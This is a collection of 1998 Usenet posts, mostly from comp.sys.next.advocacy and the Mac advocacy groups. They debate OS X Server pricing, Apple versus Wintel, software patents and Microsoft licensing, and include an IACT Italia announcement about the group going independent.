> transformations that you cannot do without errors/artifacts creeping
> into your results. Thus, while a 3x3 matrix transformation on 2d data
> is from one perspective a 3 dimensional transformation (because you're
> using a 3x3 matrix), it is also not arbitrarily suited for
> transformations on 3d data.
[SNIP]
*Linear* transformations from a N-dimensional vector space to a
M-dimensional vector space require MxN matrices. Rotations fall within
this category.
*Affine* transformations from the same require, in addition, a Mx1
matrix (a simple M-dimensional vector). Usual affine transforms
(rotations (again), translations...) fall within this category.
*Non-linear* transformations vary. Most "perspective transforms" fall
within this category.
Hubert Holin
Hubert.Holin@Bigfoot.com
http://www.bigfoot.com/~Hubert.Holin
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Tue, 24 Nov 1998 14:28:56 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73efr0$n4o$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com>
sal@panix.com wrote:
> spagiola@my-dejanews.com <spagiola@my-dejanews.com> wrote:
> >If Apple ends up pricing it prohibitively, they will lose out on this
> >potential market. And their developers will likewise lose out on a potential
> >market for their apps, and will have to wait for plain-vanilla OS X to come
> >out.
>
> I don't think that Apple has any thought (good or bad) about YB developers
> right now. The only YB App on Apple's radar is WebObjects.
> Given the choice of pissing off Abode/Quark/MacroMedia and pissing off P&L
> AFS or Caffeine, who would you fuck over? As much as Greg and Mmalc seem like
> good guys, they are getting the shaft. It's business, nothing personal.
There's no reason whatsoever this has to be an either/or situation. Apple has
already gone a long way towards satisfying the concerns of traditional Mac
developers by giving them Carbon. Now they won't have to re-write their apps,
as they were so afraid of doing. So they ought to be happy; their apps will
be first-class citizens on OSX, like YB apps. But there's no reason that
keeping them happy means also shafting YB developers. And frustrating
potential customers like me. I'm not saying this is personal; I'm saying that
this is really a short-sighted way to run a business.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Tue, 24 Nov 1998 14:32:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73eg2d$n7r$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733v0n$l7s$1@nnrp1.dejanews.com> <739mk5$g85@news1.panix.com> <73c33f$r7i$1@nnrp1.dejanews.com> <73djga$isl@news1.panix.com>
sal@panix.com wrote:
> <spagiola@my-dejanews.com> wrote:
> >> $200? I doubt it. Good or bad, they named it "server" and I expect it to be
> >> priced in server-space, not user space.
> >Forget what you EXPECT them to do. The question is, what would you LIKE them
> >to do?
>
> Sell it at under $500 with some kind of "WO-Lite" so I can slip it under the
> door for some of my clients. Create some kind of a "WO partnership" program.
> As it stands now, I doubt that I would deploy WO on anything other than NT
> or Solaris. I am not going to take any risks with OSX until I see what Apple
> is planning.
Exactly. Apple's current positioning of OSX Server (or lack thereof) is
scaring away the very people they would like to attract. Not just would-be
users like me, but potential corporate Web Objects customers. If this
constitutes sound strategy, I'd hate to see what a unsound one looks like.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: none@nospam.spam (Darrin Cardani)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with QuickTime Vectors
Date: Tue, 24 Nov 1998 08:48:24 -0600
Organization: Total Integration, Inc.
Message-ID: <none-ya02408000R2411980848240001@nntp.news.netcom.net>
References: <*johnnyc*-2111981727130001@jchristie.halifaxcable.dal.ca> <B27F4F2C-66F7E@206.165.43.34>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <B27F4F2C-66F7E@206.165.43.34>, "Lawson English"
<english@primenet.com> wrote:
> John Christie <*johnnyc*@or.psychology.dal.ca> said:
>
> >If you were Apple would you want anyone to
> >give credence to anything Lawson has to say? (OK, cheap shot, teehee).
>
> The problem is that NO-ONE wants to support my statements, even when I am
> 100% correct.
Lawson,
This is a problem you have brought upon yourself. People won't defend
you, even when you're right, because you're a jerk. You can't seem to get
it through your thick skull that, although you like some of the
technologies Apple is killing, Apple has decided to kill them, and the rest
of us are getting on with our lives.
I posted a question the other day, asking about the proper use of the
StdBits call. I just wanted to know what preconditions were necessary to
get a picture to display properly using it. You answered my question by
saying, "Quickdraw GX will do what you want". That did not answer my
question. Then in a different post on a different thread you said that you
were aware Apple would no longer be supporting GX as of System 8.6, due out
in January. So essentially you suggested I use a technique that will work
for exactly 1.5 months.
Why would anyone want to defend someone who acts like that? If I was a
newbie, I might have taken your advice only to find out that it was
incredibly short sighted advice a month or two later. All I can say is
welcome to my kill file.
Darrin
--
Darrin Cardani
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 24 Nov 1998 14:58:08 GMT
Organization: Primenet (602)416-7000
Message-ID: <73ehi0$24a$1@nnrp02.primenet.com>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <72tuss$4dd@bgtnsc01.worldnet.att.net> <72uv0r$fj0@mozo.cc.purdue.edu> <73al2q$e98@bgtnsc02.worldnet.att.net> <73ap4d$bik@newsb.netnews.att.com> <73de05$cio@bgtnsc01.worldnet.att.net>
"Linux goes to China"
http://www.news.com/News/Item/0,4,29188,00.html
John
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 24 Nov 1998 15:15:28 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <73eiig$ahm@newsb.netnews.att.com>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <73al2q$e98@bgtnsc02.worldnet.att.net> <73ap4d$bik@newsb.netnews.att.com> <73de05$cio@bgtnsc01.worldnet.att.net>
Originator: gupta@tlctest
bobsun <bobsun@worldnet.att.net> wrote:
>As you likely know, India still maintains significant control over the
>economy through import duties.
Yes, but it isn't one set of tariffs for Apple equipment and another
set of tariffs for Wintel equipment. Therefore there is no
competitive advantage or disadvantage imposed by the government on
one platform over the other, which is what you were stating.
(paraphrase : governments of countries like India and China may
not let the countries buy into a closed platform, etc.)
>We in the US are familiar with the software industry in India, as it is
>becoming a major "export". However, there is also a booming business in
>locally manufactured PCs, with some brands becoming known locally,
>Presently, Apple has no position in this market. Cheaply produced PCs,
>supported by MS and locally produced software dominates in one of the
>world's fastest growing markets. This trend won't put Apple out of business,
>but will continue to isolate the business to one continent and to one
>economic class. Apple needs to develop a response which comprehends the
>need for locally produced, cheaply made hardware.
Agreed, only cloning will work. Anyway, India might be a rapidly growing
market, but is currently very small, probably a million PCs an year last
year. Even if it doubles every year, Apple has an year or two before it
becomes "too late" in the Indian market.
The major cost in the sub-$1000 PC is now the Windows operating system;
and Microsoft is going to face a similar challenge, given that
Linux offers an attractive alternative in India. Especially given that
every autorickshaw driver dreams of becoming a software engineer --
what better to learn programming on ?
-arun gupta
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Tue, 24 Nov 1998 10:10:43 -0500
Organization: Styx DTP
Sender: monner@dial04p07.ottawa.storm.ca
Message-ID: <365ACC72.7A9F4C3@tone.ca>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 24 Nov 1998 15:11:35 GMT
Sal Denaro said:
>>I might be
>>wrong, but I am pretty sure that Apple will sell a $1,500+ copy with
WO and
>>a developer's copy (for YB and WO on OSX and NT) for about $500.
I agree that WO is probably the only yb app on Apples radar, however I
expect them to price things so that people will want to buy Apple
hardware to run it on rather than Intel hardware, so this means pricing
OSX quite a bit below NT.
I can't believe Apple is worried about Quark and Adobe. I'm sure Q and A
don't see the yb apps as any threat (though I think they are). I think
Apple is more concerned about giving their mainstream users something
called MacOS thats a lot less friendly, or at least a lot different,
than the one they're used to.
We should know a little bit more when they start the new series of WO
seminars Dec 1. Will they be running on Apple hardware? Stay tuned.
(I'll be in Montreal on Dec 2 asking questions if no one else does).
Whatever the pricing, I'm hoping the academic price will be really
reasoable, to give my wife the opportunity to pay me back for helping
her go back to school. (Not to mention years of laundry and dish
detail.)
Michael Monner
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 10:19:42 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <19981124101942109156@ts1-28.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net> <73cqgm$a85$1@bunyip.cc.uq.edu.au> <199811240102252737447@ts5-42.aug.com> <73e644$n2p$1@bunyip.cc.uq.edu.au>
Christopher Smith <drsmithy@usa.net> wrote:
> >> That's that "modern" computer/OS with no protected memory, poor
> >> multitasking, no SMP and memory management even Windows *3.0* was better
> >> than isn't it ?
> >
> >That sounds more like Windows to me.
>
> I believe we're getting to the root of your problem - you've lost touch with
> reality.
You can believe anything you want, and exist in any reality you want.
For me, for my use.. my Mac runs circles around the Pentium-whatever
machines I have to use at work.
--
Remove nojunk from my email address to reply by email.
From: milo_mklinux@my-dejanews.com (Milo MkLinux)
Newsgroups: comp.sys.mac.advocacy,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A question for MIlo
Message-ID: <365ace9a.5362123@news.chicagonet.net>
References: <3655cfd9.23479416@news.chicagonet.net> <macdev-2011982211260001@sdn-ar-001casbarp022.dialsprint.net>
NNTP-Posting-Date: Tue, 24 Nov 1998 10:45:22 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 24 Nov 1998 15:46:21 GMT
On Fri, 20 Nov 1998 22:11:23 -0800, macdev@earthlink.net (macdev)
wrote:
>In article <3655cfd9.23479416@news.chicagonet.net>,
>milo_mklinux@my-dejanews.com (Milo MkLinux) wrote:
>
>> I posed some questions to M. Rassbach in previous posts.
>
>Are you Edwin Thorne? If we looked back in dejanews, would we find that
>it was Edwin e thorne (or one of his "other" names such as macsbug, etc)
>who asked some of these questions to rashbach?
>
No, I am not Edwin.
The questions I refer to were posted by me, under my name, directly to
M. Rassbach. One was a new thread titled "Questions for
M.Rassbach," that I posted when I couldn't get Deja News to post a
reply. It said something about a line being too long. Didn't seem
to matter if I shortened it. :/ The message that I responded to was
a reply to Edwin from M.Rassbach, but Edwin's message not only didn't
contain questions for M. Rassbach, it wasn't even about the topic of
M.Rassbach's reply to him, if I remember correctly. I want to know
why Apple should have to pay for BSD code.
The other questions were in some thread or other that I don't remember
the name of, but that post was under my own name too.
If I've asked the same questions of a person has another has, that's
hardly an impossible situation, and it certainly doesn't call my
identity in to question. Search Deja News all you like. If Edwin
asked the same things as I did, it does not prove that I am Edwin.
I can't imagine what I did to offend Mike Zuluaf. He seems
determined to dog my every step, and do everything in his power to
slander and discredit me. I don't know or care what his problem
is. I'll just ignore him.
From: milo_mklinux@my-dejanews.com (Milo MkLinux)
Newsgroups: comp.sys.mac.advocacy,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Why won't M. Rassbach answer these questions?
Message-ID: <365ad4e1.6969295@news.chicagonet.net>
References: <3655cfd9.23479416@news.chicagonet.net> <pxpst2-2011981633300001@pelli.pathology.pitt.edu>
NNTP-Posting-Date: Tue, 24 Nov 1998 10:48:22 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 24 Nov 1998 15:49:22 GMT
On Fri, 20 Nov 1998 16:33:29 -0500, pxpst2@unixs.cis.pitt.edu (Peter)
wrote:
>In article <3655cfd9.23479416@news.chicagonet.net>,
>milo_mklinux@my-dejanews.com (Milo MkLinux) wrote:
>
>> I posed some questions to M. Rassbach in previous posts. After doing
>> nothing but insult me, in his single reply, he disappeared. He must
>> either have no integrity or he must have died.
>
>....something about bullshit walking
>Peter
Is this person known for being a bullshitter? Has anyone else seen
any other posts by him recently? He brought up some things that
I'd geniunely like answers for. You see the questions. Should I
dismiss the things he said?
>--
>"don't you eat that yellow snow
> Watch out where the huskies go"
> FZ
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 02:13:49 +1000
Organization: University of Queensland
Message-ID: <73elnv$pe2$1@bunyip.cc.uq.edu.au>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net> <73cqgm$a85$1@bunyip.cc.uq.edu.au> <199811240102252737447@ts5-42.aug.com> <73e644$n2p$1@bunyip.cc.uq.edu.au> <19981124101942109156@ts1-28.aug.com>
Rick <nojunkhattonr@aug.com> wrote in message
news:19981124101942109156@ts1-28.aug.com...
>Christopher Smith <drsmithy@usa.net> wrote:
>
>> I believe we're getting to the root of your problem - you've lost touch
with
>> reality.
>
>You can believe anything you want, and exist in any reality you want.
>For me, for my use.. my Mac runs circles around the Pentium-whatever
>machines I have to use at work.
That's nice. When I use a Mac that can run as much simultaneously as my
P100 used to a c ouple of years ago, I might be convinced. Maybe it'll be
possible with OS X - we'll have to wait and see.
From: "J. Walt Covington" <johnandsusanne@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 11:37:36 -0500
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Chad Irby wrote:
>
> Actually, since the consent decree had a nice little loophole in it,
> Microsoft can't do "per-processor" licensing, but they *can* do "per
> product line" licensing, which means that they just have to get six or
> seven pieces of paper signed instead of one. The end result is pretty
> much the same as "per-processor."
>
> This silly mistake was fostered by the same former DOJ employee who is now
> working for the law firm employed by Microsoft in the current case. You
> do the math...
>
What you completely miss is that Microsoft, even at the time of the 1995
Consent Decree, offered (and still offers) multiple sales deals to
companies, many of them without any restrictions whatever. The deals so
often cited by the DOJ are the deals certain companies *elected* to
contract with Microsoft to do. The motivating factor? Price. The more
restrictive deals are the deals with the lower pricetags. Microsoft
said: "You want us to come off the price even more? OK, but since you're
getting more from us we want more from you." Unreasonable? I can't see
how. It's a practice commonly undertaken by every other business I've
ever seen.
From: "J. Walt Covington" <johnandsusanne@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 11:31:44 -0500
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Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <365ADF70.FE06A773@earthlink.net>
Chad Irby wrote:
>
> Yaeh, it's a shame that Wintel people go to such lengths to keep x86 DOS
> compatibility...
>
> Maybe you should try a newer computer like the Mac.
>
Interesting you say that as I haven't used anything DOS in ages, and I
was unaware that the current generation of Apple products were
completely incompatible with earlier Mac software. Thanks for
straightening me out...I do find it interesting as well that it is
possible to add X86 DOS compatibility to the Mac (if you bought one with
slots.) I wonder why "Apple people" would go to such lengths to do
that...?
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combattingLinux...."
Date: Tue, 24 Nov 1998 16:32:38 +0000
Organization: Cadence Design System, Inc.
Message-ID: <365ADFA6.46E0B739@cadence.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net>
<364A072C.9341779B@mohawksoft.com>
<Pine.GSO.4.05.9811191310070.14908-100000@sun>
<732472$256$1@plo.sierra.com> <36553271.5E95E159@online.no.spam>
<36558a3d.714158248@news.tele.dk> <xzqyap41mk2.fsf@uni-paderborn.de>
Mime-Version: 1.0
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Axel Boldt wrote:
>
> vagn@gmx.net (Vagn R. Nissen <himself@vagn.dk>) writes:
> > By the way. Software per se is generally not protected by patents in
> > Europe. In principle it is explicitly excepted from patenting, vide
> > e.g. A52(2)c, EPC and §1(2).3 DPA. Software per se is (in principle)
> > "only" protected by copyright. But thats another lengthy
> > discussion....
>
> Wow, that's extremely interesting. Seems like this opens up a great
> opportunity for free software development. For example, the mp3 sound
> encoders which the German Fraunhofer institute claims a world-wide
> patent on could simply be written and distributed from Denmark then,
> as free software of course.
As was politely explained to me a while ago, its not an interesting as its
sounds. The treaty prohibits patents on computer programs as such, but says
that processes can be patented which contain a computer program as a part.
This has been used by some parties to obtain what are in effect software
patents. These do tend to be less wide-ranging than those issued in the US,
and also fewer in number.
Noone I've met seems to know what the original intention of the treaty was,
and whether it could make such things as the technical process of
translating a file into a screen display, or of decompressing a file
patentable.
Simon
From: milo_mklinux@my-dejanews.com (Milo MkLinux)
Newsgroups: comp.sys.mac.advocacy,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Why won't M. Rassbach answer these questions?
Message-ID: <365ae582.11226305@news.chicagonet.net>
References: <3655cfd9.23479416@news.chicagonet.net> <pxpst2-2011981633300001@pelli.pathology.pitt.edu> <365ad4e1.6969295@news.chicagonet.net> <pxpst2-2411981136040001@pelli.pathology.pitt.edu>
NNTP-Posting-Date: Tue, 24 Nov 1998 11:58:39 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 24 Nov 1998 16:59:38 GMT
On Tue, 24 Nov 1998 11:36:04 -0500, pxpst2@unixs.cis.pitt.edu (Peter)
wrote:
>I remeber seeing the questions and they are rhetorical. You answered them
>yourself. Open source is Open source. This dude named M Rassbach shows
>up every now and then and I have found him to be pretty much full of
>himself
>Peter
Yes, you're right about the question about paying for BSD source code.
But he implied that he installed BSD on an TAM. That's not
possible, is it?
>In article <365ad4e1.6969295@news.chicagonet.net>,
>milo_mklinux@my-dejanews.com (Milo MkLinux) wrote:
>
>> On Fri, 20 Nov 1998 16:33:29 -0500, pxpst2@unixs.cis.pitt.edu (Peter)
>> wrote:
>>
>> >In article <3655cfd9.23479416@news.chicagonet.net>,
>> >milo_mklinux@my-dejanews.com (Milo MkLinux) wrote:
>> >
>> >> I posed some questions to M. Rassbach in previous posts. After doing
>> >> nothing but insult me, in his single reply, he disappeared. He must
>> >> either have no integrity or he must have died.
>> >
>> >....something about bullshit walking
>> >Peter
>>
>> Is this person known for being a bullshitter? Has anyone else seen
>> any other posts by him recently? He brought up some things that
>> I'd geniunely like answers for. You see the questions. Should I
>> dismiss the things he said?
>>
>> >--
>> >"don't you eat that yellow snow
>> > Watch out where the huskies go"
>> > FZ
>
>--
>"don't you eat that yellow snow
> Watch out where the huskies go"
> FZ
Newsgroups: comp.sys.next.advocacy
From: sutti@ibm.net
Subject: IACT Italia goes independent
Message-ID: <365ae8b8.0@news2.ibm.net>
Date: 24 Nov 1998 17:11:20 GMT
Organization: IBM.NET
One year ago, IACT Italia (a nonprofit organisation established in accordance
to Arts. 10-20 of the Italian Civil Code), was founded to be the Italian
Chapter of the International Alliance for Compatible Technology, as per Rules
nos. 5-11 and Principles no. 9 of the latter
(http://pages.cthome.net/iact/iactpage.html)
According to those rules, all Chapter's members were automatically members of
the Alliance, while joining the Chapter was a choice for Italian or
Italian-speaking IACT members. An elected Director was to direct the same (Rule
no. 6), under the supervision of IACT Co-ordinator and with the help of the
Chapter's Key Members (Rules nos. 4, 5). The Chapter itself was fully
"autonomous in [its] own affairs so long as they do not violate any of the Nine
Principles, rules and guidelines of IACT" (Principle no. 9) and solely
responsible for its own projects, materials and initiatives (Rule no. 8).
The Italian Chapter never made use, however, of such ample latitude, and
extensively discussed with the current IACT Co-ordinator, Diane Gartner, each
step and detail of its initial plans and projects, which were from the very
beginning:
- the creation of this mailing list, InterACT;
- the establishment of a Web site in Italian, whose URL is and will remain
http://www.ogcs.com/iact-italia/;
- the translation of part of IACT materials, and of other sources relevant to
IACT goals;
- the commencement by IACT Italia of an antitrust procedure in the Italian
jurisdiction.
In particular, the scope of the antitrust petition, the circumstances alleged
therein, the complaints, the choice of counsel, and the time of filing, were
debated in detail, almost on a daily basis, with Diane Gartner during Winter
1997-98 and Spring 1998, and it was agreed that the greatest possible coverage
and visibility for such initiative should be sought, as obviously the IACT
Italia antitrust case was to be mainly fought "in the court of public opinion",
in Ms. Gartner's words. Ample documentary evidence of these circumstances
exists in messages publicly diffused by Ms. Gartner to all the Chapter's Key
Members, which remain available to anyone's inspection upon simple request.
An initial deadline was fixed for the 20th of July, then postponed to
mid-October, and finally the petition was filed on the 14th October,
simultaneously with the expected date when the DOJ/Attorneys General trial was
to commence in the United States.
As everybody can directly verify from its text (which is online at the IACT
Italia Web site, http://www.ogcs.com/iact-italia/ipage06.html, together with
the translation of most other antitrust petitions filed in the world against
Microsoft and links to the originals), the Italian petition was drafted, as
agreed, in the name and on behalf of IACT Italia, represented by its Director,
who released the appropriate power of attorney to the designated IACT counsel,
and signed the same. Of course, the fact that IACT Italia was at that time the
Italian Chapter of the Alliance was also mentioned, but IACT as such was
neither requested, nor it offered, to directly participate in the initiative. A
couple of days before, as per IACT Italia instructions, Ms. Gartner received a
copy of the petition draft (even before the IACT Italia officers had an
opportunity to read it), submitted a number of suggestions regarding the
merits, and demanded that a single line referring to IACT current policies be
removed (obtaining of course immediate compliance). Ms. Gartner's suggestions,
even though the petition itself was attorney-work product, and not a document
of the Chapter, even less of IACT, were also obviously taken in due
consideration in the final version of the petition.
After few days, the same IACT Co-ordinator sent another couple of official
messages, the first to IACT Italia Key Members in order to congratulate them,
the second, still publicly accessible at IACT-Italia site, to all IACT members,
asking them to support the petition by providing evidence, and endorsing and
praising in the name of the Alliance the initiative of IACT Italia.
Unfortunately, after the exceptional and unexpected coverage of the case by
both traditional and Internet media (from the Wall Street Journal to
Computerworld and IDG-Net, from the International Herald Tribune to a number of
Italian TV broadcasters and newspapers such as La Repubblica, Il Sole-24Ore,
Blomberg TV, Rete 4, Il Giornale,...), things started changing.
Once the International Alliance for Compatible Technology (its Declaration, its
Priciples, its texts, its "grass-roots work",...) had obtained in four or five
days more visibility than in the entire history of IACT, the attitude of Ms.
Gartner towards all and each of IACT-Italia Key Members became increasingly
hostile, irresponsible and capricious.
First, Ms. Gartner demanded that she be given direct and exclusive control of
all contacts with international media and the English-speaking Internet, and
that all requests for details be re-directed to her, even though she was
apparently not even in a position to offer a phone/fax number ‘ nor the ability
to attend voice interviews over the Net ‘ for this purpose. Apparently and most
unfortunately, nothing has been done in this respect, but for the
abovementioned e-mail message addressed to few hundred recipients who were
already members of IACT.
Then, Ms. Gartner began:
- to imply, without any grounds, that IACT-Italia had leaked copies of the
petition to the press prior to its filing and its circulation within IACT;
- to complain about alleged and yet unspecified residual inaccuracies contained
in the Italian version of the Declaration of Cooperation which had been online
for months at IACT Italia Web site, after all of Ms. Gartner's minute remarks
and demands with respect to the translation had been implemented in its text;
- to accuse IACT Italia members of betraying IACT's "platform-agnostic"
position, and being biased in favour of IBM OS/2 Warp;
- to suggest that IACT Italia officers might have personal agendas with regard
to the pending proceedings against Microsoft, such as seeking personal
visibility, usurpation of her role in IACT, or even monetary compensation by
means of stipulating a financial settlement of the matter with Microsoft (!).
Finally, she even requested that the petition be withdrawn or amended.
***
At this point, after extensive discussion, IACT-Italia has unanimously, albeit
reluctantly, decided to go independent from 31st of October 1998, its present
executives being confirmed in their respective position for the time being, and
mandated to issue the necessary and appropriate statements on IACT-Italia Web
site.
Of course, with regard to proceedings pending with the Italian antitrust
authority, IACT-Italia is not willing either to withdraw or to settle its
petition. No amendement of the petition (or other initiative aimed at
reflecting the transformed relationship between IACT Italia and the
International Alliance for Compatible Technology) is on the other hand
necessary or possibile, as the petition was not filed in the name of the
International Alliance for Compatibile Technology. Moreover, contrary to the
claims currently contained in the Alliance Web pages, not a single episode of
"confusion" in this respect could ever be documented by Ms. Gartner, be it with
regard to media or individuals.
IACT Italia shall therefore act in the future as an independent organisation,
aimed at freely supporting in our country IACT goals as they are currently
formulated, but not otherwise connected with the Alliance, as it will remain
expressly stated on IACT Italia Web site. InterACT, as a service offered by
IACT Italia, remains available to all IACT members and supporters, as well as
to the public in general, to discuss the issues relevant to IACT's goals.
Current IACT board may welcome or not such independent, free and generous
support; but their views shall not affect in the least our ongoing efforts
towards the goals of the Alliance as they are stated in the Declaration. While
of course we do not need IACT officers' consent or approval to support IACT's
action, or to explicitely refer to its goals, the Alliance as such has in any
event never provided IACT Italia with any assistance, be it technical, legal,
financial or otherwise (except for the somewhat questionable management
experiments or outbursts of Ms. Gartner), nor it was ever expected to. On the
contrary, it is our hope that independence will increase the effectiveness and
simplify the procedures of IACT-Italia's action, and improve personal
relationships with the Alliance officers, given the decreased opportunity for
argument.
Indeed, this decision does not involve a major loss for the Alliance, given
that Ms. Gartner in our understanding was already in the process of closing
down IACT chapters, out of fear of a diminished control on IACT image and
structure, or perhaps of being personally involved in something rapidly
becoming a much less discreet, "low profile" operation against powerful
monopolies.
IACT Italia continues of course to encourage publicly and privately its
members, as well as all IT & TLC final users and professionals, to adhere to
the International Alliance for Compatible Technology on a personal basis, to
sign its Declaration and to co-operate with its "grass-roots work," as Ms.
Gartner defines it, which is for sure of a fundamental importance - and/or to
*otherwise freely contribute* to the fight for the freedom of choice, for
multiplatform solutions, non-proprietary standards and interoperability.
These ideals are too important to waste the available energies in personal or
sectarian quarrels, or to limit their dissemination to small circles of select
enclaves, which are often already conversant with alternative platforms.
Stefano Sutti
PR Manager of IACT Italia,
the Independent Organisation of Italian Supporters of the International
Alliance for Compatible Technology.
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Why won't M. Rassbach answer these questions?
Date: Tue, 24 Nov 1998 11:36:04 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2411981136040001@pelli.pathology.pitt.edu>
References: <3655cfd9.23479416@news.chicagonet.net> <pxpst2-2011981633300001@pelli.pathology.pitt.edu> <365ad4e1.6969295@news.chicagonet.net>
Mail-Copies-To: pxpst2@unixs.cis.pitt.edu
I remeber seeing the questions and they are rhetorical. You answered them
yourself. Open source is Open source. This dude named M Rassbach shows
up every now and then and I have found him to be pretty much full of
himself
Peter
In article <365ad4e1.6969295@news.chicagonet.net>,
milo_mklinux@my-dejanews.com (Milo MkLinux) wrote:
> On Fri, 20 Nov 1998 16:33:29 -0500, pxpst2@unixs.cis.pitt.edu (Peter)
> wrote:
